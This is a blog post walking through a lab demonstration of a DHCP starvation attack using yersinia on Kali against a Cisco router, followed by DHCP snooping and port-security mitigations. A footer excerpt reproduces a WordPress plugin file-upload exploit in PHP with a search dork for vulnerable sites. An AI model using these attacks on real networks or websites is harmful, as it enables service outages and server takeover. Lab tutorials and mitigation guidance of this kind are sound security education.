Skip to main content

DHCP Starvation (DOS Attack - Penetration Testing) - Example Demonstration with Kali

By

DHCP Starvation is an attack that works by broadcasting vast numbers of DHCP requests with spoofed MAC addresses simultaneously.



I had showed my topology in the above snap, As you can see I have a router that acts as the DHCP server and a Kali linux 2.0 machine which is connected to the same network. The same steps can be followed to hack a Windows or a Linux DHCP server also. This is how my router's DHCP binding looks before the attempt,

Router (Before Attack)

R1#sh ip dhcp binding 
Bindings from all pools not associated with VRF:
IP address          Client-ID/              Lease expiration        Type
                    Hardware address/
                    User name
R1#

I used yersinia tool to perform the attack, this yersinia comes in built to your Kali operating system. Open terminal, type 'yersinia -G' and press enter.



Click on 'Launch Attack'. Select the tab 'DHCP' and check the second box 'sending DISCOVER packet' and press OK. Within seconds, hundreds of DHCP requests will be sent and the router will be busy handling all our requests and won't be able to handle IP addresses to genuine users. Below logs are taken after the attack,

Router (After Attack)

R1#sh ip dhcp binding 
% The DHCP database could not be locked. Please retry the command later.
R1#

Router couldn't respond, I had taken the below output after 10 mins.

R1#sh ip dhcp binding 
Bindings from all pools not associated with VRF:
IP address          Client-ID/              Lease expiration        Type
                    Hardware address/
                    User name
120.0.0.4           3669.9348.85d1          Mar 01 2002 12:20 AM    Automatic
120.0.0.5           7add.b556.f179          Mar 01 2002 12:20 AM    Automatic
120.0.0.6           347b.0c74.8013          Mar 01 2002 12:20 AM    Automatic
120.0.0.7           f976.c10d.205f          Mar 01 2002 12:20 AM    Automatic
120.0.0.8           b2de.b66b.5b30          Mar 01 2002 12:20 AM    Automatic
120.0.0.9           32cd.4b14.c1f7          Mar 01 2002 12:20 AM    Automatic
120.0.0.10          d0fd.bd17.a548          Mar 01 2002 12:20 AM    Automatic
120.0.0.11          e4be.180a.3fbd          Mar 01 2002 12:20 AM    Automatic
120.0.0.12          559b.e206.ffd0          Mar 01 2002 12:20 AM    Automatic
120.0.0.13          4e64.0231.a81d          Mar 01 2002 12:20 AM    Automatic
120.0.0.14          ac61.c36b.8931          Mar 01 2002 12:21 AM    Automatic
120.0.0.15          763d.5c2f.0d07          Mar 01 2002 12:21 AM    Automatic
120.0.0.16          d738.1831.3ffa          Mar 01 2002 12:21 AM    Automatic
120.0.0.17          0f64.dc31.3bfd          Mar 01 2002 12:21 AM    Automatic
120.0.0.18          beae.bf51.f15b          Mar 01 2002 12:21 AM    Automatic
120.0.0.19          b511.3b23.4732          Mar 01 2002 12:21 AM    Automatic
120.0.0.20          e682.902a.2069          Mar 01 2002 12:21 AM    Automatic
120.0.0.21          d253.6658.b71c          Mar 01 2002 12:21 AM    Automatic
120.0.0.22          11ed.8f0f.f330          Mar 01 2002 12:21 AM    Automatic
 --More--

As you can see, all the IPs are assigned to Kali's duplicate DHCP requests. To stop the attack, click on 'List attackts' and Cancel all attacks.

Mitigation

To secure our network from this attack, we have two options.

1) DHCP Snooping
2) Port Security

Cisco IOS Mitigation

To enable DHCP Snooping on a Cisco IOS switch, follow these steps:

switch(config)# ip dhcp snooping
!Enables DHCP Snooping globally!
switch(config)# ip dhcp snooping vlan <vlan_id> {,<vlan_id>}
!Enables DHCP Snooping for Specific VLANs!
switch(config-if)# ip dhcp snooping trust
!Sets the interface to trusted state; can then pass DHCP replies!
switch(config-if)# ip dhcp snooping limit rate <rate>
!Sets rate limit for DHCP Snooping!

To know more about DHCP snooping, visit http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst6500/ios/12-2SX/configuration/guide/book/snoodhcp.html

Cisco CatOS Mitigation

To mitigate DHCP Starvation attacks with port security on CatOS, use the following:

set port security 5/1 enable
set port security 5/1 port max 1
set port security 5/1 violation restrict
set port security 5/1 age 2
set port security 5/1 timer-type inactivity


Labels:

Comments

Post a Comment

Popular posts from this blog

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

By
In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...
Post a Comment
Read more

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How To Install Kali Linux In VMware Player

By
This tutorial will walk you through the difficult process of installing Kali Linux in VMware Player , a free virtual machine manager that can be downloaded from www.vmware.com . This tutorial assumes that you have some basic knowledge of your computer (amount of RAM, number of processors, x32 or x64 architecture, etc.) and that you’re using VMware Player as a virtual machine manager, not VMware Workstation or other software. Step One: First we need to download Kali from http://kali.org/downloads/ . If you have a 64-bit capable computer (like me), then you probably will want the 64-bit version of Kali for performance and compatibility reasons. Select the 64-bit version ONLY if you have a 64-bit computer . If you don’t have a 64-bit capable computer, or if you aren’t sure, then get the 32-bit version, as it will work on both architectures. Step Two: You can either direct download Kali through the browser’s download manager by clicking on ISO , or you can torrent it by clickin...
Post a Comment
Read more